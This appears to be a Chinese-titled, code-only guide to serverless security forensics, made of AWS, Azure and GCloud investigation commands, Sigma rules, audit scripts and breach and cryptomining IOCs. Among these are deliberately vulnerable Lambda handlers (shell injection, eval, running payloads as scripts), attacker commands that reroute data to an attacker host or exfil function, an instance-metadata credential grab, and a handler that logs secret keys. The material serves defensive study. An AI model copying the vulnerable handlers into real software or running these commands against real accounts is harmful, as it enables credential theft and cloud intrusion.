Serverless与云函数安全取证深度分析

import os
import subprocess

def lambda_handler(event, context):
    filename = event['queryStringParameters']['file']
    cmd = f"ls -la /tmp/{filename}"
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    return {"statusCode": 200, "body": result.stdout}

aws lambda update-function-configuration \
    --function-name target-function \
    --environment "Variables={DB_HOST=attacker-controlled-host,API_KEY=stolen-key}"

aws lambda get-layer-versions --layer-name target-layer
aws lambda get-layer-version-by-arn --layer-arn "arn:aws:lambda:region:account:layer:name:version"

aws apigateway get-rest-apis --query 'items[*].{id:id,name:name,endpointConfiguration:endpointConfiguration}'
aws apigateway get-resources --rest-api-id <API_ID> --query 'items[*].{path:path,resourceMethods:resourceMethods}'
aws apigateway get-authorizers --rest-api-id <API_ID>

aws cloudtrail lookup-events \
    --lookup-attributes AttributeKey=EventName,AttributeValue=InvokeFunction \
    --start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%SZ) \
    --query 'Events[*].{Time:EventTime,Function:CloudTrailEvent,User:Username}'

aws cloudtrail lookup-events \
    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode \
    --query 'Events[*].{Time:EventTime,Detail:CloudTrailEvent}'

aws cloudtrail lookup-events \
    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
    --query 'Events[*].{Time:EventTime,Detail:CloudTrailEvent}'

aws lambda get-function-configuration --function-name target-function \
    --query '{VpcConfig:VpcConfig,Role:Role,Timeout:Timeout,MemorySize:MemorySize}'

aws lambda get-function-url-config --function-name target-function

az functionapp function list --resource-group <RG> --app-name <APP>
az functionapp config appsettings list --name <APP> --resource-group <RG>
az functionapp identity show --name <APP> --resource-group <RG>

az functionapp identity show --name <APP> --resource-group <RG> --query 'principalId'
az role assignment list --assignee <PRINCIPAL_ID> --query 'items[*].{Role:roleDefinitionName,Scope:scope}'

gcloud functions describe <FUNCTION_NAME> --region <REGION>
gcloud functions get-iam-policy <FUNCTION_NAME> --region <REGION>
gcloud logging read "resource.type=cloud_function AND resource.labels.function_name=<FUNCTION>" --limit 100

az eventgrid event-subscription list --source-resource-id <TOPIC_ID>
az eventgrid domain list --resource-group <RG>
az eventgrid topic show --name <TOPIC> --resource-group <RG>

aws iam simulate-principal-policy \
    --policy-source-arn "arn:aws:lambda:region:account:function:target-function" \
    --action-names s3:GetObject s3:PutObject iam:CreateUser sts:AssumeRole

aws iam get-role --role-name <ROLE_NAME> --query 'Role.{AssumeRolePolicyDocument:AssumeRolePolicyDocument,MaxSessionDuration:MaxSessionDuration}'
aws iam list-attached-role-policies --role-name <ROLE_NAME>
aws iam list-role-policies --role-name <ROLE_NAME>

curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
curl -H "X-aws-ec2-metadata-token: <TOKEN>" http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

import boto3
import logging

logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(event, context):
    sts = boto3.client('sts')
    identity = sts.get_caller_identity()
    logger.info(f"Account: {identity['Account']}, Arn: {identity['Arn']}")
    creds = sts.get_session_token(DurationSeconds=3600)
    logger.info(f"AccessKey: {creds['Credentials']['AccessKeyId']}")
    logger.info(f"SecretKey: {creds['Credentials']['SecretAccessKey']}")
    return {"statusCode": 200}

aws lambda get-function-configuration --function-name target-function \
    --query 'Environment.Variables'

aws lambda update-function-configuration --function-name target-function \
    --environment "Variables={MALICIOUS_VAR=exfiltrated_data}"

aws lambda get-function-configuration --function-name target-function \
    --query 'Layers[*].{Arn:Arn,CodeSize:CodeSize}'

aws lambda list-layer-versions --layer-name <LAYER_NAME> \
    --query 'LayerVersions[*].{Version:Version,CompatibleRuntimes:CompatibleRuntimes}'

aws s3api get-bucket-notification-configuration --bucket <BUCKET_NAME>
aws s3api put-bucket-notification-configuration --bucket <BUCKET_NAME> --notification-configuration file://config.json

cat <<'EOF' > /tmp/suspicious-notification.json
{
  "LambdaFunctionConfigurations": [
    {
      "LambdaFunctionArn": "arn:aws:lambda:region:account:function:attacker-function",
      "Events": ["s3:ObjectCreated:*"],
      "Filter": {
        "Key": {
          "FilterRules": [{"Name": "prefix", "FilterValue": "uploads/"}]
        }
      }
    }
  ]
}
EOF

import boto3
import json

def lambda_handler(event, context):
    for record in event['Records']:
        message = json.loads(record['body'])
        user_input = message.get('user_data', '')
        result = eval(user_input)
        return {"statusCode": 200, "body": str(result)}

aws events put-rule --name "exfiltration-rule" \
    --event-pattern '{"source":["aws.s3"],"detail-type":["Object Created"]}' \
    --state ENABLED

aws events put-targets --rule "exfiltration-rule" \
    --targets '[{"Id":"exfil","Arn":"arn:aws:lambda:region:account:function:exfil-function"}]'

import hmac
import hashlib

def verify_github_webhook(payload, signature, secret):
    expected = 'sha256=' + hmac.new(
        secret.encode(), payload.encode(), hashlib.sha256
    ).hexdigest()
    return hmac.compare_digest(expected, signature)

def lambda_handler(event, context):
    signature = event['headers'].get('X-Hub-Signature-256', '')
    if not verify_github_webhook(event['body'], signature, WEBHOOK_SECRET):
        return {"statusCode": 403, "body": "Invalid signature"}
    process_webhook(event['body'])
    return {"statusCode": 200, "body": "OK"}

import os
import time

SLOW_INITIALIZATION_VAR = None

def init():
    global SLOW_INITIALIZATION_VAR
    time.sleep(2)
    SLOW_INITIALIZATION_VAR = os.environ.get('SENSITIVE_CONFIG', 'default')

init()

def lambda_handler(event, context):
    return {"config": SLOW_INITIALIZATION_VAR}

import os
import json
import boto3

config_cache = None

def init():
    global config_cache
    s3 = boto3.client('s3')
    response = s3.get_object(Bucket='config-bucket', Key='app-config.json')
    config_cache = json.loads(response['Body'].read())

init()

def lambda_handler(event, context):
    if config_cache is None:
        return {"statusCode": 500, "body": "Config not loaded"}
    return {"statusCode": 200, "body": json.dumps(config_cache)}

aws lambda get-function-configuration --function-name target-function \
    --query '{FileSystemConfigs:FileSystemConfigs,EphemeralStorage:EphemeralStorage}'

import os
import tempfile
import subprocess

def lambda_handler(event, context):
    payload = event.get('payload', '')
    script_path = os.path.join(tempfile.gettempdir(), 'worker.sh')
    with open(script_path, 'w') as f:
        f.write(f'#!/bin/bash\n{payload}\n')
    os.chmod(script_path, 0o755)
    result = subprocess.run(['bash', script_path], capture_output=True, text=True)
    os.remove(script_path)
    return {"stdout": result.stdout, "stderr": result.stderr}

aws ec2 describe-network-interfaces \
    --filters "Name=description,Values='AWS Lambda VPC ENI*'" \
    --query 'NetworkInterfaces[*].{Id:NetworkInterfaceId,SubnetId:SubnetId,SecurityGroups:Groups,Status:Status}'

npm audit --json | jq '.vulnerabilities | to_entries[] | select(.value.severity == "critical")'
pip-audit --format json --output pip-audit-results.json
safety check --json --output safety-results.json

aws lambda get-layer-versions --layer-name <LAYER> \
    --query 'LayerVersions[*].{Version:Version,Arn:Arn,CompatibleRuntimes:CompatibleRuntimes,CreatedDate:CreatedDate}'

ecr-image-manifest=$(aws ecr describe-images --repository-name <REPO> --image-ids imageTag=latest --query 'imageDetails[0].imageManifest' --output text)
echo $ecr-image-manifest | jq .
trivy image <ACCOUNT_ID>.dkr.ecr.<REGION>.amazonaws.com/<REPO>:latest

syft scan dir:./lambda-function -o spdx-json > sbom-spdx.json
cyclonedx-linux-x64 --input-file package.json --output-file sbom-cdx.json --output-format JSON

aws logs filter-log-events --log-group-name "/aws/lambda/target-function" \
    --filter-pattern '{ $.error = ? }' --start-time $(date -d '7 days ago' +%s000) \
    --query 'events[*].{Time:ingestionTime,Message:message}'

aws cloudwatch get-metric-statistics --namespace AWS/Lambda \
    --metric-name Invocations --dimensions Name=FunctionName,Value=target-function \
    --start-time $(date -u -d '3 days ago' +%Y-%m-%dT%H:%M:%SZ) \
    --end-time $(date -u +%Y-%m-%dT%H:%M:%SZ) \
    --period 3600 --statistics Sum

aws lambda list-functions --query 'Functions[?Runtime==`python3.6` || Runtime==`python3.7` || Runtime==`nodejs12.x`].{Name:FunctionName,Runtime:Runtime,LastModified:LastModified}'

title: Suspicious AWS Lambda Function Code Update
id: f1a2b3c4-d5e6-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects suspicious AWS Lambda function code updates that may indicate malicious code injection or backdoor deployment
references:
  - https://docs.aws.amazon.com/lambda/latest/dg/security-iam.html
  - https://awslambda.github.io/
author: x7peeps蓝队
date: 2026-07-12
tags:
  - attack.persistence
  - attack.t1059
  - attack.t1195
  - attack.defense_evasion
logsource:
  category: cloudtrail
  product: aws
  services:
    - lambda
detection:
  selection_code_update:
    eventSource: lambda.amazonaws.com
    eventName:
      - UpdateFunctionCode
      - CreateFunction
  selection_config_change:
    eventSource: lambda.amazonaws.com
    eventName: UpdateFunctionConfiguration
  selection_env_change:
    eventSource: lambda.amazonaws.com
    eventName: UpdateFunctionConfiguration
    requestParameters.environment.variables:
      contains:
        - password
        - secret
        - token
        - key
        - api_key
  selection_permission_change:
    eventSource: lambda.amazonaws.com
    eventName:
      - AddPermission
      - RemovePermission
  filter_known_sources:
    userIdentity.arn|contains:
      - ':role/aws-service-role/'
      - 'AWSLambdaExecutionRole'
  condition: (selection_code_update or selection_config_change or selection_permission_change) and not filter_known_sources
level: high
falsepositives:
  - Legitimate CI/CD pipeline deployments
  - Infrastructure as Code updates
  - Scheduled runtime upgrades
fields:
  - eventTime
  - eventSource
  - eventName
  - userIdentity.arn
  - requestParameters.functionName
  - sourceIPAddress
  - userAgent
  - responseElements.functionArn

title: AWS Lambda Environment Variable Sensitive Data Exposure
id: a2b3c4d5-e6f7-8a9b-0c1d-2e3f4a5b6c7d
status: experimental
description: Detects AWS Lambda functions with sensitive data in environment variables that may be accessible to attackers
author: x7peeps蓝队
date: 2026-07-12
tags:
  - attack.credential_access
  - attack.t1552
  - attack.discovery
logsource:
  category: cloudtrail
  product: aws
  services:
    - lambda
detection:
  selection_env_access:
    eventSource: lambda.amazonaws.com
    eventName:
      - GetFunctionConfiguration
      - UpdateFunctionConfiguration
  selection_sensitive_keys:
    requestParameters.environment.variables.keys|contains:
      - PASSWORD
      - SECRET
      - TOKEN
      - API_KEY
      - PRIVATE_KEY
      - DATABASE_URL
      - REDIS_URL
      - AWS_SECRET_ACCESS_KEY
  condition: selection_env_access and selection_sensitive_keys
level: medium
falsepositives:
  - Legitimate configuration management
  - Environment setup during deployment
fields:
  - eventTime
  - userIdentity.arn
  - requestParameters.functionName
  - eventName
  - sourceIPAddress

#!/bin/bash

echo "=========================================="
echo "Serverless Security Audit Script"
echo "=========================================="

echo "[*] Step 1: Enumerating Lambda functions..."
FUNC_COUNT=$(aws lambda list-functions --query 'Functions[*].FunctionName' --output text | wc -w)
echo "[+] Found $FUNC_COUNT Lambda functions"

echo ""
echo "[*] Step 2: Checking for overly permissive Lambda roles..."
aws lambda list-functions --query 'Functions[*].{Name:FunctionName,Role:Role}' --output text | while read NAME ROLE; do
    POLICIES=$(aws iam list-attached-role-policies --role-name $(basename $ROLE) --query 'AttachedPolicies[*].PolicyName' --output text 2>/dev/null)
    for POLICY in $POLICIES; do
        if echo "$POLICY" | grep -qiE "admin|full|power"; then
            echo "[!] CRITICAL: Function $NAME has overly permissive policy: $POLICY"
        fi
    done
    INLINE=$(aws iam list-role-policies --role-name $(basename $ROLE) --query 'PolicyNames' --output text 2>/dev/null)
    for IPOLICY in $INLINE; do
        POLICY_DOC=$(aws iam get-role-policy --role-name $(basename $ROLE) --policy-name $IPOLICY --query 'PolicyDocument' --output json 2>/dev/null)
        if echo "$POLICY_DOC" | grep -q '"Action": "\*"'; then
            echo "[!] CRITICAL: Function $NAME has wildcard action in inline policy: $IPOLICY"
        fi
    done
done

echo ""
echo "[*] Step 3: Checking for functions without VPC configuration..."
aws lambda list-functions --query 'Functions[?VpcConfig==null].FunctionName' --output text | while read FUNC; do
    echo "[!] WARNING: Function $FUNC is not deployed in VPC"
done

echo ""
echo "[*] Step 4: Checking for deprecated runtimes..."
DEPRECATED_RUNTIMES=("python3.6" "python3.7" "python3.8" "nodejs10.x" "nodejs12.x" "nodejs14.x" "dotnetcore2.1" "dotnetcore3.1")
for RT in "${DEPRECATED_RUNTIMES[@]}"; do
    FUNCS=$(aws lambda list-functions --query "Functions[?Runtime=='$RT'].FunctionName" --output text)
    if [ -n "$FUNCS" ]; then
        echo "[!] WARNING: Functions using deprecated runtime $RT: $FUNCS"
    fi
done

echo ""
echo "[*] Step 5: Checking for unauthenticated HTTP endpoints..."
aws lambda list-function-url-configs --query 'FunctionUrlConfigs[?AuthType==`NONE`].{Function:FunctionArn,URL:FunctionUrl}' --output table 2>/dev/null

echo ""
echo "[*] Step 6: Checking for functions with excessive timeout/memory..."
aws lambda list-functions --query 'Functions[?Timeout>300 || MemorySize>5120].{Name:FunctionName,Timeout:Timeout,Memory:MemorySize}' --output table 2>/dev/null

echo ""
echo "[*] Step 7: Checking for suspicious Lambda invocations in CloudTrail..."
aws cloudtrail lookup-events \
    --lookup-attributes AttributeKey=EventName,AttributeValue=InvokeFunction \
    --start-time $(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ) \
    --max-results 100 \
    --query 'Events[*].{Time:EventTime,User:Username,Source:CloudTrailEvent}' \
    --output json 2>/dev/null | python3 -c "
import sys, json
from collections import Counter
events = json.load(sys.stdin)
users = [e.get('User','unknown') for e in events]
top_users = Counter(users).most_common(5)
for user, count in top_users:
    if count > 50:
        print(f'[!] HIGH: User {user} invoked {count} functions in 24h')
"

echo ""
echo "[*] Step 8: Checking for Lambda Layers with large code size..."
aws lambda list-layers --query 'Layers[*].{Name:LayerName,LatestVersion:LatestMatchingVersion.LayerVersion}' --output text | while read NAME VER; do
    SIZE=$(aws lambda get-layer-version --layer-name $NAME --version $VER --query 'Content.CodeSize' --output text 2>/dev/null)
    if [ "$SIZE" -gt 52428800 ]; then
        echo "[!] WARNING: Layer $NAME version $VER has unusually large code size: $SIZE bytes"
    fi
done

echo ""
echo "=========================================="
echo "[*] Serverless security audit complete"
echo "=========================================="

#!/usr/bin/env python3
import boto3
import json
import sys
from datetime import datetime, timedelta
from collections import defaultdict

class ServerlessSecurityAuditor:
    def __init__(self):
        self.lambda_client = boto3.client('lambda')
        self.iam_client = boto3.client('iam')
        self.cloudtrail_client = boto3.client('cloudtrail')
        self.cloudwatch_client = boto3.client('cloudwatch')
        self.findings = []

    def enumerate_functions(self):
        functions = []
        paginator = self.lambda_client.get_paginator('list_functions')
        for page in paginator.paginate():
            functions.extend(page.get('Functions', []))
        return functions

    def check_execution_roles(self, functions):
        role_findings = []
        for func in functions:
            role_arn = func.get('Role', '')
            role_name = role_arn.split('/')[-1]
            try:
                attached = self.iam_client.list_attached_role_policies(RoleName=role_name)
                for policy in attached.get('AttachedPolicies', []):
                    policy_name = policy['PolicyName']
                    if any(x in policy_name.lower() for x in ['admin', 'full', 'power']):
                        role_findings.append({
                            'function': func['FunctionName'],
                            'role': role_name,
                            'policy': policy_name,
                            'severity': 'CRITICAL',
                            'issue': 'Overly permissive attached policy'
                        })
                inline = self.iam_client.list_role_policies(RoleName=role_name)
                for ipolicy in inline.get('PolicyNames', []):
                    doc = self.iam_client.get_role_policy(RoleName=role_name, PolicyName=ipolicy)
                    stmts = doc.get('PolicyDocument', {}).get('Statement', [])
                    for stmt in stmts:
                        actions = stmt.get('Action', [])
                        resources = stmt.get('Resource', [])
                        if isinstance(actions, str):
                            actions = [actions]
                        if isinstance(resources, str):
                            resources = [resources]
                        if '*' in actions and '*' in resources:
                            role_findings.append({
                                'function': func['FunctionName'],
                                'role': role_name,
                                'policy': ipolicy,
                                'severity': 'CRITICAL',
                                'issue': 'Wildcard action and resource in inline policy'
                            })
            except Exception as e:
                role_findings.append({
                    'function': func['FunctionName'],
                    'role': role_name,
                    'severity': 'INFO',
                    'issue': f'Could not audit role: {str(e)}'
                })
        return role_findings

    def check_function_configs(self, functions):
        config_findings = []
        deprecated_runtimes = ['python3.6', 'python3.7', 'python3.8', 'python3.9',
                               'nodejs10.x', 'nodejs12.x', 'nodejs14.x', 'nodejs16.x',
                               'dotnetcore2.1', 'dotnetcore3.1', 'ruby2.5', 'ruby2.7']
        for func in functions:
            rt = func.get('Runtime', '')
            if rt in deprecated_runtimes:
                config_findings.append({
                    'function': func['FunctionName'],
                    'severity': 'HIGH',
                    'issue': f'Deprecated runtime: {rt}'
                })
            if func.get('VpcConfig') is None:
                config_findings.append({
                    'function': func['FunctionName'],
                    'severity': 'MEDIUM',
                    'issue': 'No VPC configuration'
                })
            if func.get('Timeout', 0) > 300:
                config_findings.append({
                    'function': func['FunctionName'],
                    'severity': 'LOW',
                    'issue': f'Long timeout: {func["Timeout"]}s'
                })
            env_vars = func.get('Environment', {}).get('Variables', {})
            sensitive_keys = ['PASSWORD', 'SECRET', 'TOKEN', 'API_KEY', 'PRIVATE_KEY',
                             'DATABASE_URL', 'REDIS_URL', 'AWS_SECRET_ACCESS_KEY']
            for key in env_vars:
                if any(sk in key.upper() for sk in sensitive_keys):
                    config_findings.append({
                        'function': func['FunctionName'],
                        'severity': 'HIGH',
                        'issue': f'Sensitive data in environment variable: {key}'
                    })
        return config_findings

    def check_unusual_invocations(self):
        findings = []
        end_time = datetime.utcnow()
        start_time = end_time - timedelta(hours=24)
        paginator = self.cloudtrail_client.get_paginator('lookup_events')
        invocation_users = defaultdict(int)
        for page in paginator.paginate(
            LookupAttributes=[{'AttributeKey': 'EventName', 'AttributeValue': 'InvokeFunction'}],
            StartTime=start_time,
            EndTime=end_time
        ):
            for event in page.get('Events', []):
                user = event.get('Username', 'unknown')
                invocation_users[user] += 1
        for user, count in invocation_users.items():
            if count > 1000:
                findings.append({
                    'user': user,
                    'invocations': count,
                    'severity': 'HIGH',
                    'issue': f'Abnormal invocation volume: {count} in 24h'
                })
        return findings

    def run_audit(self):
        print("[*] Starting Serverless security audit...")
        functions = self.enumerate_functions()
        print(f"[+] Found {len(functions)} Lambda functions")

        print("[*] Checking execution roles...")
        role_findings = self.check_execution_roles(functions)
        self.findings.extend(role_findings)

        print("[*] Checking function configurations...")
        config_findings = self.check_function_configs(functions)
        self.findings.extend(config_findings)

        print("[*] Checking invocation patterns...")
        inv_findings = self.check_unusual_invocations()
        self.findings.extend(inv_findings)

        critical = [f for f in self.findings if f.get('severity') == 'CRITICAL']
        high = [f for f in self.findings if f.get('severity') == 'HIGH']
        medium = [f for f in self.findings if f.get('severity') == 'MEDIUM']

        print(f"\n[*] Audit Results:")
        print(f"    CRITICAL: {len(critical)}")
        print(f"    HIGH: {len(high)}")
        print(f"    MEDIUM: {len(medium)}")

        for f in critical:
            print(f"\n[!] CRITICAL: {f.get('function', f.get('user', 'N/A'))}")
            print(f"    Issue: {f.get('issue', 'N/A')}")
            print(f"    Policy: {f.get('policy', 'N/A')}")

        return self.findings

if __name__ == '__main__':
    auditor = ServerlessSecurityAuditor()
    findings = auditor.run_audit()
    with open('/tmp/serverless-audit-results.json', 'w') as f:
        json.dump(findings, f, indent=2, default=str)
    print(f"\n[+] Results saved to /tmp/serverless-audit-results.json")

attacker-s3-bucket: cf-datastorage-capitalone
attacker-ip: 185.220.101.x (Tor出口节点)
aws-access-key-id: AKIAIOSFODNN7EXAMPLE (被泄露的临时凭证Access Key前缀)
lambda-role-arn: arn:aws:iam::role/waf-bdd6796b-2d08-467c-b87e-44074ba067d6
s3-bucket-names: capitalone-ngda, capitalone-waf-data

矿池地址: pool.minexmr.com:4444
矿池地址: xmr.pool.minergate.com:5557
钱包地址: 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRgGhK9H3yJvG3rQKpYbKZJf7qZ8X5d1 (示例)
XMRig版本特征: "XMRig/6.x.x"
Lambda Layer异常大小: > 50MB
异常出站端口: 443, 5557, 4444

aws cloudwatch get-metric-statistics --namespace AWS/Lambda \
    --metric-name ConcurrentExecutions --dimensions Name=FunctionName,Value=<SUSPECT_FUNCTION> \
    --start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%SZ) \
    --end-time $(date -u +%Y-%m-%dT%H:%M:%SZ) \
    --period 3600 --statistics Maximum